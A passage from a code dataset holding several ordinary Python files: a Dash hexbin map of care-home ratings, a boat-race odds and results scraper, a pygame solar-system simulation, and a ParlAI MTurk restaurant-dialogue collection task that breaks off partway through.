Main()\r\n\r\n","repo_name":"jorgeerodriguez/BVAnalytics","sub_path":"Circuits.py","file_name":"Circuits.py","file_ext":"py","file_size_in_byte":224754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10465846202","text":"import dash\r\nimport dash_bootstrap_components as dbc\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nfrom dash.dependencies import Input, Output, State\r\nimport plotly.figure_factory as ff\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nimport plotly.express as px\r\n\r\ndf = pd.read_pickle(\"prepared_df\")\r\ndf1 = df[['longitude', 'latitude', 'Latest Rating Overall']].copy()\r\ndf1 = df1.dropna()\r\n\r\nfig = ff.create_hexbin_mapbox(\r\n data_frame=df1, lat=\"latitude\", lon=\"longitude\",\r\n nx_hexagon=15, opacity=0.5, labels={\"color\": \"Average Grade\"},\r\n color='Latest Rating Overall', agg_func=np.mean\r\n)\r\nfig.update_layout(margin=dict(b=0, t=0, l=0, r=0))\r\nfig.update_layout(mapbox_style=\"open-street-map\")\r\nfig.write_html('first_figure.html', auto_open=False)\r\n\r\n# the style arguments for the sidebar.\r\nSIDEBAR_STYLE = {\r\n 'position': 'fixed',\r\n 'top': 0,\r\n 'left': 0,\r\n 'bottom': 0,\r\n 'width': '20%',\r\n 'padding': '20px 10px',\r\n 'background-color': '#f8f9fa'\r\n}\r\n\r\n# the style arguments for the main content page.\r\nCONTENT_STYLE = {'margin-left': '25%', 'margin-right': '5%', 'padding': '20px 10p'}\r\n\r\nTEXT_STYLE = {'textAlign': 'center', 'color': '#191970'}\r\n\r\ncontrols = dbc.FormGroup(\r\n [\r\n html.P('Variable', style={'textAlign': 'center'}),\r\n dcc.Dropdown(\r\n id='dropdown',\r\n options=[{'label': 'Grade - Overall', 'value': 'Latest Rating Overall'},\r\n {'label': 'Grade - Caring', 'value': 'Latest Rating Caring'},\r\n {'label': 'Grade - Effective', 'value': 'Latest Rating Effective'},\r\n {'label': 'Grade - Responsive', 'value': 'Latest Rating Responsive'},\r\n {'label': 'Grade - Safe', 'value': 'Latest Rating Safe'},\r\n {'label': 'Grade - Well Led', 'value': 'Latest Rating Well-led'},\r\n {'label': 'Number of Care Home Beds', 'value': 'Care homes beds'},],\r\n value='Latest Rating Overall', # default value\r\n multi=False\r\n ),\r\n\r\n html.Br(),\r\n html.P('Resolution (Number of Hexagons)', style={'textAlign': 'center'}),\r\n dcc.RangeSlider(id='range_slider', min = 5, max=100, step=5, value=[15], marks={\r\n 10: '10',\r\n 20: '20',\r\n 30: '30',\r\n 40: '40',\r\n 50: '50',\r\n 60: '60',\r\n 70: '70',\r\n 80: '80',\r\n 90: '90',\r\n 100: '100'}),\r\n ]\r\n)\r\n\r\nsidebar = html.Div([html.H2('Parameters', style=TEXT_STYLE), html.Hr(), controls], style=SIDEBAR_STYLE,)\r\n\r\ncontent_graph = dbc.Row([dbc.Col(dcc.Graph(id='graph_1', figure=fig), md=12,)])\r\n\r\ncontent = html.Div(\r\n [\r\n html.H2('Regional Variation In Care Home Data', style=TEXT_STYLE),\r\n html.Hr(),\r\n content_graph,\r\n ],\r\n style=CONTENT_STYLE\r\n)\r\n\r\napp = dash.Dash(external_stylesheets=[dbc.themes.BOOTSTRAP])\r\napp.layout = html.Div([sidebar, content])\r\n\r\n@app.callback(\r\n Output('graph_1', 'figure'),\r\n [Input('dropdown', 'value'), Input('range_slider', 'value')])\r\ndef update_graph_1(dropdown_value, range_slider_value):\r\n df1 = df[['longitude', 'latitude', dropdown_value]].copy()\r\n df1 = df1.dropna()\r\n\r\n fig = ff.create_hexbin_mapbox(\r\n data_frame=df1, lat=\"latitude\", lon=\"longitude\",\r\n nx_hexagon=range_slider_value[0], opacity=0.5, labels={\"color\": \"Average Grade\"},\r\n color=dropdown_value, agg_func=np.mean\r\n )\r\n fig.update_layout(margin=dict(b=0, t=0, l=0, r=0))\r\n fig.update_layout(mapbox_style=\"open-street-map\")\r\n fig.write_html('first_figure.html', auto_open=False)\r\n return fig\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run_server(debug=False, host='0.0.0.0', port = 8080)","repo_name":"adunn757/HackathonTest","sub_path":"Dash3.py","file_name":"Dash3.py","file_ext":"py","file_size_in_byte":3764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11620106463","text":"import requests\nfrom bs4 import BeautifulSoup\nimport numpy as np\nimport pandas as pd\nimport datetime\n\n#小数変換可能か\ndef float_convertable(value):\n try:\n temp = float(value)\n return True\n except:\n return False\n\n#日付が存在するかどうかチェック関数\ndef checkDate(year,month,day):\n try:\n newDataStr=\"%04d/%02d/%02d\"%(year,month,day)\n newDate=datetime.datetime.strptime(newDataStr,\"%Y/%m/%d\")\n return True\n except ValueError:\n return False\n\n# urlからbeautifulsoupオブジェクトを返す関数\ndef ret_soup(url, params=False):\n if params:\n response = requests.get(url, params=params)\n else:\n response = requests.get(url)\n\n if response.status_code == 200:\n response.encoding = response.apparent_encoding\n soup = BeautifulSoup(response.text,'html.parser')\n\n return soup\n else:\n return False\n\n# その日開催されているレース場を返す関数\ndef ret_open_fields(hd):\n url = 'https://www.boatrace.jp/owpc/pc/race/index?hd='+hd\n soup = ret_soup(url)\n if soup:\n field_list = []\n for i in soup.find_all('td',class_='is-arrow1 is-fBold is-fs15'):\n field_list.append(i.find('img')['alt'])\n \n return field_list # ex:['戸田', '江戸川']\n else:\n return []\n\n# 侵入コースを返す関数\ndef ret_invasion_course(soup):\n course = soup.find('tbody',class_='is-p10-0')\n invasion_course_list = []\n for i in course.find_all('span'):\n if 'table1_boatImage1Number' in str(i):\n invasion_course_list.append(int(i.text))\n if len(invasion_course_list) == 6:\n col = ['in1','in2','in3','in4','in5','in6']\n invasion_course = pd.DataFrame([invasion_course_list],columns=col)\n\n return invasion_course\n else:\n return False\n\n# レース場コンディションを返す関数\ndef ret_field_conditions(soup):\n conditions = soup.find('div',class_='weather1_body').find_all('p')\n wether = int(str(conditions[1]).split('is-weather')[1].split('\"')[0]) #1:晴れ 2:曇り、、、、\n wind_vector = int(str(conditions[2]).split('is-wind')[1].split('\"')[0]) # 時計回りに1~16\n\n conditions = soup.find('div',class_='weather1_body').find_all('span')\n tempreature = float(conditions[1].text.split('℃')[0])\n wind_speed = float(conditions[4].text.split('m')[0])\n water_tempreature = float(conditions[6].text.split('℃')[0])\n water_hight = float(conditions[8].text.split('cm')[0])\n\n col = ['wether','wind vector','tempreature','wind speed','water tempreature','water hight']\n conditions = pd.DataFrame([[wether, wind_vector, tempreature, wind_speed, water_tempreature, water_hight]],columns=col)\n \n return conditions\n\n# 展示タイムを返す関数\ndef ret_exhibition_times(soup):\n racers = soup.find_all('div', class_='table1')[1].find('table').find_all('tbody')\n\n time_list = []\n for r in racers:\n time_list.append(float(r.find_all('td')[4].text))\n\n col = ['t1','t2','t3','t4','t5','t6']\n exhibition_times = pd.DataFrame([time_list], columns=col)\n\n return exhibition_times\n\n# 展示スタートタイムを返す関数\ndef ret_exhibition_starts(soup, invasion_course):\n course = soup.find('tbody',class_='is-p10-0')\n starts = course.find_all('span', class_='table1_boatImage1Time')\n \n exhibition_starts = {}\n starts = [float(i.text) if float_convertable(i.text) else 1 for i in starts]\n for i in range(6):\n rnum = invasion_course['in{}'.format(i+1)]\n exhibition_starts['st{}'.format(rnum[0])] = starts[i]\n exhibition_starts = pd.DataFrame([exhibition_starts])\n\n return exhibition_starts\n\n# そのレースの事前情報を返す関数\ndef ret_prior_information(hd, jcd, rno):\n params = {'hd': hd, 'jcd': jcd, 'rno': rno}\n url = 'https://www.boatrace.jp/owpc/pc/race/beforeinfo'\n soup = ret_soup(url, params)\n \n if soup:\n invasion_course = ret_invasion_course(soup)\n field_conditions = ret_field_conditions(soup)\n exhibition_times = ret_exhibition_times(soup)\n exhibition_starts = ret_exhibition_starts(soup, invasion_course)\n \n prior_information = pd.concat([exhibition_times,exhibition_starts, invasion_course, field_conditions],axis=1)\n\n return prior_information\n \n else:\n return False\n\n# そのレースの出走表と結果を返す関数\ndef ret_racecard_results(hd, jcd, rno):\n params = {'hd': hd, 'jcd': jcd, 'rno': rno}\n url = 'https://www.boatrace.jp/owpc/pc/race/raceresult'\n soup = ret_soup(url, params)\n \n if soup:\n race_result = soup.find('table',class_='is-w495')\n table = race_result.find_all('td')\n arrive = []\n for i in range(6):\n if table[1+4*i].text in ['1','2','3','4','5','6']:\n arrive.append(table[1+4*i].text)\n \n race_card = []\n if len(arrive) == 6:\n arrive=pd.DataFrame([arrive],columns=['ar1','ar2','ar3','ar4','ar5','ar6'])\n for i in ['1','2','3','4','5','6']:\n for j in range(6):\n if table[1+4*j].text == i:\n race_card.append(table[2+4*j].find_all('span')[0].text)\n race_card = pd.DataFrame([race_card],columns=['e1','e2','e3','e4','e5','e6'])\n\n return race_card, arrive\n else:\n return False\n else:\n return False\n\n# そのレースの選手グレードと勝率を返す関数\ndef ret_grade_rate(hd, jcd, rno):\n params = {'hd': hd, 'jcd': jcd, 'rno': rno}\n url = 'https://www.boatrace.jp/owpc/pc/race/racelist'\n soup = ret_soup(url, params)\n if soup:\n h2 = soup.find_all('td', class_='is-lineH2')\n\n grade = []\n for i in range(6):\n gn = soup.find_all('div', class_='is-fs11')[i*2].find('span').text\n grade.append(gn)\n \n grade = pd.DataFrame(grade).T\n grade.columns = ['g1', 'g2', 'g3', 'g4', 'g5', 'g6']\n\n rate = {}\n for i in range(6):\n zenkoku = h2[1+5*i].text.split('\\n')\n z1 = zenkoku[0].replace(' ','').replace('\\r','')\n z2 = zenkoku[1].replace(' ','').replace('\\r','')\n z3 = zenkoku[2].replace(' ','').replace('\\r','')\n rate['{}_z1'.format(i+1)] = z1\n rate['{}_z2'.format(i+1)] = z2\n rate['{}_z3'.format(i+1)] = z3\n\n tochi = h2[2+5*i].text.split('\\n')\n to1 = tochi[0].replace(' ','').replace('\\r','')\n to2 = tochi[1].replace(' ','').replace('\\r','')\n to3 = tochi[2].replace(' ','').replace('\\r','')\n rate['{}_to1'.format(i+1)] = to1\n rate['{}_to2'.format(i+1)] = to2\n rate['{}_to3'.format(i+1)] = to3\n\n rate = pd.DataFrame([rate])\n\n return grade, rate\n \n else:\n return False\n\n\n# オッズの雛形を返す関数\ndef ret_odds(url, params):\n soup = ret_soup(url, params)\n if soup:\n oddslist = []\n odds = soup.find_all('td',class_='oddsPoint')\n if len(odds) == 0:\n return False\n else:\n for o in odds:\n if o.text == '欠場':\n oddslist.append(0)\n else:\n oddslist.append(float(o.text.split('-')[0]))\n\n return oddslist\n else:\n return False \n\ndef ret_san_rentan(hd, jcd, rno):\n params = {'hd': hd, 'jcd': jcd, 'rno': rno}\n url = 'https://www.boatrace.jp/owpc/pc/race/odds3t'\n odds_list = ret_odds(url, params)\n if odds_list:\n col = []\n for i in range(6):\n for j in range(6):\n if not i == j:\n for k in range(6):\n if not (j == k or i == k):\n col.append('t'+str((i+1)*100+(j+1)*10+(k+1)))\n col = np.array(col).reshape(6,20).T\n col = list(col.reshape(120,))\n odds_san_rentan = pd.DataFrame([odds_list],columns=col)\n\n return odds_san_rentan\n \n else:\n return False\n\ndef ret_san_renfuk(hd, jcd, rno):\n params = {'hd': hd, 'jcd': jcd, 'rno': rno}\n url = 'https://www.boatrace.jp/owpc/pc/race/odds3f'\n odds_list = ret_odds(url, params)\n if odds_list:\n col = ['p123','p124','p125','p126',\n 'p134','p234','p135','p235','p136','p236',\n 'p145','p245','p345','p146','p246','p346',\n 'p156','p256','p356','p456']\n odds_san_renfuk = pd.DataFrame([odds_list],columns=col)\n\n return odds_san_renfuk\n \n else:\n return False\n\ndef ret_ni_rentan_fuk(hd, jcd, rno):\n params = {'hd': hd, 'jcd': jcd, 'rno': rno}\n url = 'https://www.boatrace.jp/owpc/pc/race/odds2tf'\n odds_list = ret_odds(url, params)\n if odds_list:\n odds_ni_rentan = odds_list[:30]\n odds_ni_renfuk = odds_list[30:]\n col_t2 = ['t12','t21','t31','t41','t51','t61',\n 't13','t23','t32','t42','t52','t62',\n 't14','t24','t34','t43','t53','t63',\n 't15','t25','t35','t45','t54','t64',\n 't16','t26','t36','t46','t56','t65']\n odds_ni_rentan = pd.DataFrame([odds_ni_rentan],columns=col_t2)\n\n col_p2 = ['p12',\n 'p13','p23',\n 'p14','p24','p34',\n 'p15','p25','p35','p45',\n 'p16','p26','p36','p46','p56']\n odds_ni_renfuk = pd.DataFrame([odds_ni_renfuk],columns=col_p2)\n\n return odds_ni_rentan, odds_ni_renfuk\n \n else:\n return False, False\n\ndef ret_kakuren_fuk(hd, jcd, rno):\n params = {'hd': hd, 'jcd': jcd, 'rno': rno}\n url = 'https://www.boatrace.jp/owpc/pc/race/oddsk'\n odds_list = ret_odds(url, params)\n if odds_list:\n col = ['p12',\n 'p13','p23',\n 'p14','p24','p34',\n 'p15','p25','p35','p45',\n 'p16','p26','p36','p46','p56']\n odds_kakuren_fuk = pd.DataFrame([odds_list],columns=col)\n\n return odds_kakuren_fuk\n \n else:\n return False\n\ndef ret_tan_fuk(hd, jcd, rno):\n params = {'hd': hd, 'jcd': jcd, 'rno': rno}\n url = 'https://www.boatrace.jp/owpc/pc/race/oddstf'\n odds_list = ret_odds(url, params)\n if odds_list:\n odds_tansho = odds_list[:6]\n col_t = ['t1.1','t2.1','t3.1','t4.1','t5.1','t6.1']\n odds_tansho = pd.DataFrame([odds_tansho],columns=col_t)\n\n odds_fuksho = odds_list[6:]\n col_f = ['f1','f2','f3','f4','f5','f6']\n odds_fuksho = pd.DataFrame([odds_fuksho],columns=col_f)\n\n return odds_tansho, odds_fuksho\n \n else:\n return False\n\ndef ret_all_odds(hd, jcd, rno):\n san_rentan = ret_san_rentan(hd, jcd, rno)\n san_renfuk = ret_san_renfuk(hd, jcd, rno)\n ni_rentan, ni_renfuk = ret_ni_rentan_fuk(hd, jcd, rno)\n kakuren_fuk = ret_kakuren_fuk(hd, jcd, rno)\n tansho, fuksho = ret_tan_fuk(hd, jcd, rno)\n\n odds_data = pd.concat([san_rentan,\n san_renfuk,\n ni_rentan,\n ni_renfuk,\n kakuren_fuk,\n tansho,\n fuksho], axis=1)\n \n return odds_data\n\nfield_dic = {'桐生':'01','戸田':'02','江戸川':'03', \n '平和島':'04','多摩川':'05','浜名湖':'06',\n '蒲郡':'07','常滑':'08','津':'09',\n '三国':'10','びわこ':'11','住之江':'12',\n '尼崎':'13','鳴門':'14','丸亀':'15',\n '児島':'16','宮島':'17','徳山':'18',\n '下関':'19','若松':'20','芦屋':'21',\n '福岡':'22','唐津':'23','大村':'24'}\n","repo_name":"masa350z/auto_boat","sub_path":"mboat.py","file_name":"mboat.py","file_ext":"py","file_size_in_byte":11723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42921409052","text":"import pygame\nimport math\n\npygame.init()\n\n# Constant\nWIDTH, HEIGHT = 800, 800\nWIN = pygame.display.set_mode((WIDTH, HEIGHT)) # window size\n\n# Color\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nYELLOW = (255, 255, 0)\nBLUE_EARTH = (100, 149, 237)\nRED_MARS = (188, 39, 50)\nDARK_GREY = (80, 78, 81)\n\nFONT = pygame.font.SysFont(\"comicsans\",16)\n\npygame.display.set_caption(\"Solar System Simulation\") # window title name\n\n\nclass Planet:\n AU = 149597870700 # m -> AU\n G = 6.67428e-11\n SCALE = (\n 250 / AU\n ) # scale the planets and its orbits to screensize - AU = 100 px - val: 250\n TIMESTEP = 86400 # timelapse of simulation in terms of days 1dy = 86400sec\n MASS = [\n 1.98892 * 10 ** 30,\n 3.30 * 10 ** 23,\n 4.8685 * 10 ** 24,\n 5.9742 * 10 ** 24,\n 6.39 * 10 ** 23,\n 1.899 * 10 ** 27,\n 5.685 * 10 ** 26,\n 8.682 * 10 ** 25,\n 1.024 * 10 ** 26,\n ]\n VELOCITY = [0, -47.4 * 1000, -35.02 * 1000, 29.783 * 1000, 24.077 * 1000]\n\n def __init__(self, x, y, radius, color, mass):\n self.x = x\n self.y = y\n # self.z = z\n self.radius = radius\n self.color = color\n self.mass = mass\n\n self.orbit = [] # represent/track circular orbit of planet travelled\n\n self.sun = False\n self.distance_to_sun = 0\n\n self.x_vel = 0\n self.y_vel = 0\n\n def draw(self, win):\n x = (\n self.x * self.SCALE + WIDTH / 2\n ) # scale the value of m to au & then draw in middle\n y = (\n self.y * self.SCALE + HEIGHT / 2\n ) # scale the value of m to au & then draw in middle\n\n if len(self.orbit) >= 2: # dont draw points >=2\n updated_points = []\n for point in self.orbit: # draw the orbits\n x, y = point\n x = x * self.SCALE + WIDTH / 2\n y = y * self.SCALE + HEIGHT / 2\n updated_points.append((x, y))\n\n pygame.draw.lines(win, self.color, False, updated_points, 2)\n \n \n\n pygame.draw.circle(win, self.color, (x, y), self.radius)\n\n if not self.sun:\n distance_text = FONT.render(f\"{round(self.distance_to_sun/self.AU, 3)}AU\",1,WHITE)\n win.blit(distance_text,(x-distance_text.get_width()/2,y-distance_text.get_height()/2))\n\n def gravitationalAttraction(self, otherPlanet):\n other_x, other_y = otherPlanet.x, otherPlanet.y\n distance_x = other_x - self.x\n distance_y = other_y - self.y\n distance = math.sqrt(distance_x ** 2 + distance_y ** 2)\n\n if otherPlanet.sun:\n self.distance_to_sun = distance\n\n force = (\n self.G * self.mass * otherPlanet.mass / distance ** 2\n ) # force done directly\n\n # force done is x & y direction of planet -> fx & fy - 40:00\n theta = math.atan2(distance_y, distance_x)\n force_x = math.cos(theta) * force\n force_y = math.sin(theta) * force\n return force_x, force_y\n\n def update_pos(self, planets):\n total_fx = total_fy = 0\n for planet in planets:\n if self == planet:\n continue\n fx, fy = self.gravitationalAttraction(planet)\n total_fx += fx\n total_fy += fy\n\n self.x_vel += (\n total_fx / self.mass * self.TIMESTEP\n ) # F=ma -> a=F/m -> v=Ft/m(u=0)\n self.y_vel += (\n total_fy / self.mass * self.TIMESTEP\n ) # F=ma -> a=F/m -> v=Ft/m(u=0)\n\n self.x += self.x_vel * self.TIMESTEP\n self.y += self.y_vel * self.TIMESTEP\n self.orbit.append((self.x, self.y))\n\n\ndef main():\n run = True\n\n clock = pygame.time.Clock() # run the game at controlled speed, default pc speed\n\n sun = Planet(0, 0, 30, YELLOW, Planet.MASS[0])\n sun.sun = True\n\n mercury = Planet(0.387 * Planet.AU, 0, 8, DARK_GREY, Planet.MASS[1])\n mercury.y_vel = Planet.VELOCITY[1]\n venus = Planet(0.723 * Planet.AU, 0, 14, WHITE, Planet.MASS[2])\n venus.y_vel = Planet.VELOCITY[2]\n earth = Planet(-1 * Planet.AU, 0, 16, BLUE_EARTH, Planet.MASS[3])\n earth.y_vel = Planet.VELOCITY[3]\n mars = Planet(-1.542 * Planet.AU, 0, 12, RED_MARS, Planet.MASS[4])\n mars.y_vel = Planet.VELOCITY[4]\n\n planets = [sun, mercury, venus, earth, mars]\n\n while run:\n clock.tick(60)\n WIN.fill(BLACK)\n\n for event in pygame.event.get(): # List events occurs in pygame, take action\n if event.type == pygame.QUIT: # only user event handled, user exit\n run = False\n\n for planet in planets:\n planet.update_pos(planets)\n planet.draw(WIN)\n\n pygame.display.update() # updates in each loop\n\n pygame.quit()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dasrocky/solar-system-simulation","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41010742322","text":"from parlai.core.worlds import validate\nfrom parlai.mturk.core.worlds import MTurkOnboardWorld, MTurkTaskWorld\n\nimport Texthub\nimport argparse, re, os, sys, random\nfrom Agent import DialogueAgent\nfrom utils import ContextLogger\nfrom utils import Settings\nfrom ontology import Ontology\n\n__author__ = \"cued_dialogue_systems_group\"\n__version__ = Settings.__version__\n\nglobal seed\n#seed = Settings.init(\"/home/t-xinxu/ParlAI/parlai/mturk/tasks/pydail_collection/config/Tut-hdc-CamInfo.cfg\", None)\nseed = Settings.init(\"./config/Tut-hdc-CamInfo.cfg\", None)\nglobal Ontology\nOntology.init_global_ontology()\n\nclass QADataCollectionOnboardWorld(MTurkOnboardWorld):\n def parley(self):\n ad = {}\n ad['id'] = 'System'\n ad['text'] = 'Welcome onboard!'\n self.mturk_agent.observe(ad)\n self.mturk_agent.act()\n self.episodeDone = True\n\n\nclass QADataCollectionWorld(MTurkTaskWorld):\n \"\"\"\n World for recording a turker's question and answer given a context.\n Assumes the context is a random context from a given task, e.g.\n from SQuAD, CBT, etc.\n \"\"\"\n\n collector_agent_id = 'Restaurant bot'\n \n def __init__(self, opt, mturk_agent):\n self.mturk_agent = mturk_agent\n self.episodeDone = False\n self.with_res, self.without_res, self.inform_list = self.load_patterns()\n self.keywords = []\n self.wrongturns = []\n self.pattern = re.compile('^[0-9, ]+$')\n\n def load_patterns(self):\n with_res = []\n without_res = []\n #Price_range, Food_type, Area\n for line in open(\"/home/t-xinxu/ParlAI/parlai/mturk/tasks/pydail_collection/exam_ontology.res\"):\n flist = line.strip().split(\"\\t\")\n if flist[0] == \"0\":\n without_res.append(flist[1:4])\n elif flist[0] == \"1\":\n with_res.append(flist[1:4])\n inform_list = [\"phone number\", \"address\"]\n return with_res, without_res, inform_list\n\n def task_generation_v1(self):\n task_patt = \"In this task, you will need to talk with our restaurants searching bot. You want to find a restaurant \"\n task_2nd_patt = \". However, you may not find a restaurant on these conditions. You then change your mind to find a restaurant \"\n slot_num = random.randint(0, 4)\n if slot_num == 0:\n patt = \"In this task, you will need to talk with our restaurants searching bot\"\n elif slot_num == 1:\n slot_id = random.randint(0, 3) \n ttask = random.sample(self.with_res, 1)[0]\n if slot_id == 0:\n price_range = ttask[0]; food_type = \"\"; area = \"\"\n elif slot_id == 1:\n price_range = \"\"; food_type = ttask[1]; area = \"\"\n else:\n price_range = \"\"; food_type = \"\"; area = \"at the \" + ttask[2] + \" of the city\"\n patt = task_patt.replace(\"\", price_range).replace(\"\", food_type).replace(\"\", area)\n elif slot_num == 2:\n slot_id = random.randint(0, 3) \n ttask = random.sample(self.with_res, 1)[0]\n if slot_id == 0:\n price_range = \"\"; food_type = ttask[1]; area = \"at the \" + ttask[2] + \" of the city\"\n elif slot_id == 1:\n price_range = ttask[0]; food_type = \"\"; area = \"at the \" + ttask[2] + \" of the city\"\n else:\n price_range = ttask[0]; food_type = ttask[1]; area = \"\"\n patt = task_patt.replace(\"\", price_range).replace(\"\", food_type).replace(\"\", area)\n elif slot_num == 3:\n ttask = random.sample(self.with_res, 1)[0]\n price_range = ttask[0]; food_type = ttask[1]; area = \"at the \" + ttask[2] + \" of the city\"\n patt = task_patt.replace(\"\", price_range).replace(\"\", food_type).replace(\"\", area)\n else:\n ttask = random.sample(self.without_res, 1)[0]\n price_range = ttask[0]; food_type = ttask[1]; area = \"at the \" + ttask[2] + \" of the city\"\n patt = task_patt.replace(\"\", price_range).replace(\"\", food_type).replace(\"\", area)\n ttask = random.sample(self.with_res, 1)[0]\n price_range = ttask[0]; food_type = ttask[1]; area = \"at the \" + ttask[2] + \" of the city\"\n patt += task_2nd_patt.replace(\"\", price_range).replace(\"\", food_type).replace(\"\", area)\n inform_num = random.randint(1, 2)\n inform_l = random.sample(self.inform_list, inform_num)\n patt += \". You also want to know the \" + \", \".join(inform_l) + \" of this restaurant.\"\n patt += \" If you want to quit the conversation please type in \\\"quit\\\". However, you still need to finish the follow-up questionnaire. When you finish the questionnaire, a blue button called \\\"Done with this HIT\\\" will show up. Please click it to finish the hit.\"\n return patt\n \n def task_generation(self):\n del self.keywords[:]\n task_patt = \"In this task, you will need to talk with our restaurants searching bot. You want to find a restaurant that meets the following requirements:\"\n task_2nd_patt = \". However, you may not find a restaurant on these conditions. You then change your mind to find a restaurant \"\n slot_num = random.randint(0, 5)\n price_range = \"\"; food_type = \"\"; area = \"\"\n if slot_num == 0:\n patt = \"In this task, you will need to talk with our restaurants searching bot to search a restaurant. \"\n if slot_num == 1:\n patt = \"In this task, you will need to talk with our restaurants searching bot to search a restaurant based on location, food type and price range. \"\n elif slot_num == 2:\n slot_id = random.randint(0, 3) \n ttask = random.sample(self.with_res, 1)[0]\n reqs = []\n if slot_id == 0:\n price_range = ttask[0]\n reqs.append(\"Price range: \" + price_range)\n elif slot_id == 1:\n food_type = ttask[1]\n reqs.append(\"Food type: \" + food_type)\n else:\n area = ttask[2]\n reqs.append(\"Area: \" + area)\n patt = task_patt + \"\\n
  • \" + \"
  • \".join(reqs) + \"
\"\n elif slot_num == 3:\n slot_id = random.randint(0, 3) \n ttask = random.sample(self.with_res, 1)[0]\n reqs = []\n if slot_id == 0:\n food_type = ttask[1]; area = ttask[2]\n reqs.append(\"Food type: \" + food_type)\n reqs.append(\"Area: \" + area)\n elif slot_id == 1:\n price_range = ttask[0]; area = ttask[2]\n reqs.append(\"Price range: \" + price_range)\n reqs.append(\"Area: \" + area)\n else:\n price_range = ttask[0]; food_type = ttask[1]\n reqs.append(\"Food type: \" + food_type)\n reqs.append(\"Price range: \" + price_range)\n random.shuffle(reqs)\n patt = task_patt + \"\\n
  • \" + \"
  • \".join(reqs) + \"
\"\n elif slot_num == 4:\n ttask = random.sample(self.with_res, 1)[0]\n price_range = ttask[0]; food_type = ttask[1]; area = ttask[2]\n reqs = []\n reqs.append(\"Food type: \" + food_type)\n reqs.append(\"Area: \" + area)\n reqs.append(\"Price range: \" + price_range)\n random.shuffle(reqs)\n \n patt = task_patt + \"\\n
  • \" + \"
  • \".join(reqs) + \"
\"\n else:\n ttask = random.sample(self.without_res, 1)[0]\n price_range = ttask[0]; food_type = ttask[1]; area = ttask[2]\n reqs = []\n reqs.append(\"Food type: \" + food_type)\n reqs.append(\"Area: \" + area)\n reqs.append(\"Price range: \" + price_range)\n random.shuffle(reqs)\n patt = task_patt + \"\\n
  • \" + \"
  • \".join(reqs) + \"
\"\n ttask = random.sample(self.with_res, 1)[0]\n price_range = ttask[0]; food_type = ttask[1]; area = ttask[2]\n reqs = []\n reqs.append(\"Food type: \" + food_type)\n reqs.append(\"Area: \" + area)\n reqs.append(\"Price range: \" + price_range)\n random.shuffle(reqs)\n patt += \"\\n\" + task_2nd_patt + \"\\n
  • \" + \"
  • \".join(reqs) + \"
\"\n inform_num = random.randint(1, 2)\n inform_l = random.sample(self.inform_list, inform_num)\n if price_range != \"\":\n self.keywords.append(price_range)\n if area != \"\":\n self.keywords.append(area)\n if food_type != \"\":\n self.keywords.append(food_type)\n self.keywords = self.keywords + inform_l\n patt += \"You also want to know the \" + \", \".join(inform_l) + \" of this restaurant.\"\n patt += \" If you want to quit the conversation please type in \\\"quit\\\". However, you still need to finish the follow-up questionnaire. When you finish the questionnaire, a blue button called \\\"Done with this HIT\\\" will show up. Please click it to finish the hit. \\nAlso, during the conversation, please make a sentence as natural as possible. Please do not use only keywords.\"\n return patt\n \n\n def parley(self):\n # Each turn starts from the QA Collector agent\n del self.wrongturns[:]\n agent = DialogueAgent(hub_id='texthub')\n ad = {'episode_done': False}\n ad['id'] = self.__class__.collector_agent_id\n turn_num = 1\n\n ad['text'] = \"\" + self.task_generation() + \"\"\n self.mturk_agent.observe(validate(ad))\n\n sys_act = agent.start_call(session_id='texthub_dialog')\n ad['text'] = \"[Turn \" + str(turn_num) + \"] \" + sys_act.prompt\n self.mturk_agent.observe(validate(ad))\n\n while not agent.ENDING_DIALOG:\n turn_num += 1\n obs = self.mturk_agent.act()['text']\n loop_turns = 0\n while loop_turns < 3 and ((obs in self.keywords) or (len(obs.split(\" \")) == 1 and obs != \"quit\")):\n ad['text'] = \"Please make a sentence as natural as possible and do not use only keywords. Please rephrase your answer.\"\n self.mturk_agent.observe(validate(ad))\n obs = self.mturk_agent.act()['text']\n loop_turns += 1\n if loop_turns == 3:\n ad['text'] = \"We are closing this HIT, since you were keeping texting in keywords and refused to rephrase your answer in a natural way. We are sorry that you can not be paid for this HIT.\"\n self.mturk_agent.observe(validate(ad))\n self.shutdown()\n self.mturk_agent.reject_work(reason=\"You were keeping texting in keywords and refused to rephrase your answer in a natural way.\")\n return\n domain = None\n sys_act = agent.continue_call(asr_info = [(obs,1.0)], domainString = domain)\n ad['text'] = \"[Turn \" + str(turn_num) + \"] \" + sys_act.prompt\n if sys_act.prompt.find(\"having trouble understanding what you want\") > -1:\n self.wrongturns.append(str(turn_num))\n self.mturk_agent.observe(validate(ad))\n\n ad['text'] = \"Please tell me if you could find a restaurant that meets your constraints using our system and get all information (phone number/address) you need. (yes/no)\"\n self.mturk_agent.observe(validate(ad))\n obs = self.mturk_agent.act()['text']\n\n ad['text'] = \"Please tell me the turns you believe system's actions are contextually wrong(e.g. misunderstanding, questions repeating, information missing...), using turn numbers connected by \\',\\' (e.g. 1,3,6). If you think all turns are contextually right, please write 0. Please note that you can't get your reward without giving this feedback.\"\n\n loop_turns = 0\n while loop_turns < 3:\n loop_turns += 1\n self.mturk_agent.observe(validate(ad))\n obs = self.mturk_agent.act()['text']\n if self.pattern.match(obs) == None:\n ad['text'] = \"Sorry the format of your feedback was wrong. Please tell me the turns you believe system's actions are contextually wrong(e.g. misunderstanding, questions repeating, information missing...), using turn numbers connected by \\',\\' (e.g. 1,3,6). If you think all turns are contextually right, please write 0. Please include those turns in your feedback if the system asked you for some information that you already provided.\"\n continue\n olist = [item.strip() for item in obs.split(\",\")]\n not_inclued = [item for item in self.wrongturns if item not in olist]\n if len(not_inclued) > 0:\n ad['text'] = \"We detected that contextually wrong turns [\" + \", \".join(not_inclued) + \"] are not included in your 